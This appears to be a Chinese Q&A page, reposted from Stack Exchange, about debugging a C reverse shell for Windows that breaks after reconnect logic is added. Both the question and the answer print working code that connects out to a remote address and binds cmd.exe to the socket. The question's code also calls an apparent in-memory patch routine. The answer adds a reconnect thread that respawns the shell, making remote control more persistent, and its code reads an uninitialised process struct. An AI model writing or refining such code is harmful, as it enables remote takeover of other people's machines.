You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

添加重连逻辑后反向Shell停止响应的问题排查

反向Shell添加重连逻辑后无触发重连却停止工作

我用C语言开发的反向Shell原本运行正常,但添加重连逻辑后,即便未出现连接丢失、未触发重连操作,Shell也彻底停止工作。相关代码如下:

int IsSocketConnected(SOCKET sock) {
    char buffer;
    int result = recv(sock, &buffer, 1, MSG_PEEK);
    if (result == 0 || (result == SOCKET_ERROR && WSAGetLastError() != WSAEWOULDBLOCK)) {
        return 0;  
    }
    return 1;  
}

int main() {
    ApplyMemPatch();

    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        printf("WSAStartup failed.\n");
        return 1;
    }

    Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    if (Winsock == INVALID_SOCKET) {
        printf("Socket creation failed.\n");
        WSACleanup();
        return 1;
    }

    struct addrinfo hints, * res = NULL;
    memset(&hints, 0, sizeof(hints));
    hints.ai_family = AF_INET;
    hints.ai_socktype = SOCK_STREAM;

    if (getaddrinfo(ip_addr, NULL, &hints, &res) != 0) {
        printf("getaddrinfo failed.\n");
        closesocket(Winsock);
        WSACleanup();
        return 1;
    }

    struct sockaddr_in* ipv4 = (struct sockaddr_in*)res->ai_addr;
    memcpy(&hax, ipv4, sizeof(struct sockaddr_in));
    freeaddrinfo(res);

    hax.sin_port = htons(atoi(port));

    
    if (WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL) != 0) {
        printf("Connection failed.\n");
        closesocket(Winsock);
        WSACleanup();
        return 1;
    }

    printf("Connected to the server.\n");

    memset(&ini_processo, 0, sizeof(ini_processo));
    ini_processo.cb = sizeof(ini_processo);
    ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

    TCHAR cmd[255] = TEXT("cmd.exe");

    if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info)) {
        printf("CreateProcess failed.\n");
        closesocket(Winsock);
        WSACleanup();
        return 1;
    }

    
    while (10) {
        if (!IsSocketConnected(Winsock)) {
            printf("Connection lost. Reconnecting...\n");

            
            closesocket(Winsock);

            
            Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
            if (Winsock == INVALID_SOCKET) {
                printf("Socket creation failed during reconnect.\n");
                WSACleanup();
                return 1;
            }

           
            if (WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL) != 0) {
                printf("Reconnection failed.\n");
                Sleep(50000); 
            }
            else {
                printf("Reconnected to the server.\n");
            }
        }

        Sleep(10000);  
    }

    closesocket(Winsock);
    WSACleanup();

    return 0;
}

已尝试的排查步骤:

  • 验证IsSocketConnected()功能符合预期;
  • 注释closesocket()及重连逻辑,确认问题源于新增代码;
  • 尝试调整Sleep()的时长;
  • 检查原套接字在新增代码前后的有效性。

问题定位

核心问题有两个:

  1. 主线程被循环阻塞,干扰套接字IO:主线程进入while(10)死循环后,每10秒执行一次IsSocketConnected,且每次循环睡眠10秒。IsSocketConnected中用recv(..., MSG_PEEK)检查连接时,会占用套接字的读上下文,加上主线程长时间睡眠,导致CreateProcess创建的cmd进程无法正常通过套接字进行输入输出——套接字被主线程的操作占用,IO请求无法得到处理。
  2. 重连逻辑缺失关键步骤:即便触发重连,新创建的套接字也没有重新绑定到cmd进程的标准输入输出,重连成功后也无法和shell交互。

另外while(10)属于不规范的死循环写法,虽然功能等价于while(1),但易造成误解。

修复方案

1. 将重连逻辑移至独立线程

把连接检查和重连逻辑放到单独线程中,让主线程专注等待cmd进程结束,避免阻塞IO通道。

2. 重连时重新创建cmd进程并绑定新套接字

连接断开重连成功后,必须重新调用CreateProcess,将新套接字绑定到cmd的标准输入输出,确保新连接能和shell交互。

3. 优化连接检查函数

用getsockopt结合recv(MSG_PEEK)实现更可靠的连接状态检测。

修复后的核心代码示例

// 重连线程函数
DWORD WINAPI ReconnectThread(LPVOID param) {
    SOCKET* pSock = (SOCKET*)param;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    while (1) {
        if (!IsSocketConnected(*pSock)) {
            printf("Connection lost. Reconnecting...\n");

            // 清理旧资源
            closesocket(*pSock);
            if (pi.hProcess != NULL) {
                TerminateProcess(pi.hProcess, 0);
                CloseHandle(pi.hProcess);
                CloseHandle(pi.hThread);
            }

            // 创建新套接字
            *pSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
            if (*pSock == INVALID_SOCKET) {
                printf("Socket creation failed during reconnect.\n");
                Sleep(5000);
                continue;
            }

            // 尝试重连
            if (WSAConnect(*pSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL) != 0) {
                printf("Reconnection failed.\n");
                Sleep(5000);
                closesocket(*pSock);
                continue;
            }

            printf("Reconnected to the server.\n");

            // 重新创建cmd进程并绑定新套接字
            memset(&si, 0, sizeof(si));
            si.cb = sizeof(si);
            si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
            si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)*pSock;

            TCHAR cmd[255] = TEXT("cmd.exe");
            if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
                printf("CreateProcess failed after reconnect.\n");
                closesocket(*pSock);
                Sleep(5000);
                continue;
            }
            processo_info = pi; // 更新全局进程信息
        }
        Sleep(3000); // 缩短检查间隔,避免过长阻塞
    }
    return 0;
}

// 优化后的连接检查函数
int IsSocketConnected(SOCKET sock) {
    int error = 0;
    int optlen = sizeof(error);
    // 先检查套接字错误状态
    if (getsockopt(sock, SOL_SOCKET, SO_ERROR, (char*)&error, &optlen) == SOCKET_ERROR) {
        return 0;
    }
    if (error != 0) {
        return 0;
    }

    // 再用MSG_PEEK检查是否有断开信号
    char buffer;
    int result = recv(sock, &buffer, 1, MSG_PEEK);
    if (result == 0 || (result == SOCKET_ERROR && WSAGetLastError() != WSAEWOULDBLOCK)) {
        return 0;
    }
    return 1;
}

int main() {
    // ... 保留原有的初始化、连接代码 ...

    // 创建初始cmd进程
    memset(&ini_processo, 0, sizeof(ini_processo));
    ini_processo.cb = sizeof(ini_processo);
    ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

    TCHAR cmd[255] = TEXT("cmd.exe");
    if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info)) {
        printf("CreateProcess failed.\n");
        closesocket(Winsock);
        WSACleanup();
        return 1;
    }

    // 创建重连线程,主线程等待cmd进程结束
    HANDLE hThread = CreateThread(NULL, 0, ReconnectThread, &Winsock, 0, NULL);
    if (hThread == NULL) {
        printf("Failed to create reconnect thread.\n");
        TerminateProcess(processo_info.hProcess, 0);
        closesocket(Winsock);
        WSACleanup();
        return 1;
    }

    // 主线程等待cmd进程结束,不阻塞IO
    WaitForSingleObject(processo_info.hProcess, INFINITE);

    // 清理所有资源
    CloseHandle(processo_info.hProcess);
    CloseHandle(processo_info.hThread);
    CloseHandle(hThread);
    closesocket(Winsock);
    WSACleanup();

    return 0;
}

内容的提问来源于stack exchange,提问作者jakub bupal

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.15 03:57:04